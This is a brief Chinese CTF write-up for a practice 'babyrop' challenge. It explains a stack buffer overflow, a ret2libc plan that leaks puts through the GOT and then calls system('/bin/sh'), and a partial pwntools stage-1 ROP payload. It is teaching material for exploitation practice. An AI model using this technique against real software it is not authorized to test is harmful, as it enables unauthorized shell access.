题目信息

  • 来源:本地练习(模拟 BUUCTF 风格的 babyrop 题)
  • 考点:栈溢出、ret2libc(绕过 NX)
  • 难度:入门

漏洞点

read(0, buf, 0x100) 读到 0x28 大小的栈缓冲区,无 canary、无 PIE,但有 NX:无法直接执行 shellcode,所以要 ret2libc。

利用思路

  1. 第一次溢出:ROP 调用 puts@plt(puts@got) 泄漏 libc 地址,再返回 main;
  2. 用泄漏值减去 libc 中 puts 的偏移,得到 libc 基址;
  3. 第二次溢出:system("/bin/sh")(/bin/sh 用 libc.search 找),one_gadget 作为备选。

关键代码

1
2
3
4
5
6
7
8
9
10
from pwn import *

context.binary = elf = ELF('./babyrop')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = next(elf.search(asm('pop rdi; ret')))

# stage 1: leak puts@got
payload = b'A' * 0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
# ... 接收泄漏值计算 libc.address,再打 stage 2: system('/bin/sh')

一句话总结

看到栈溢出先 checksec:没开 PIE 就大胆泄漏 GOT;开了 NX 的第一反应就是 ret2libc,而不是 shellcode。

站内搜索

没有找到内容!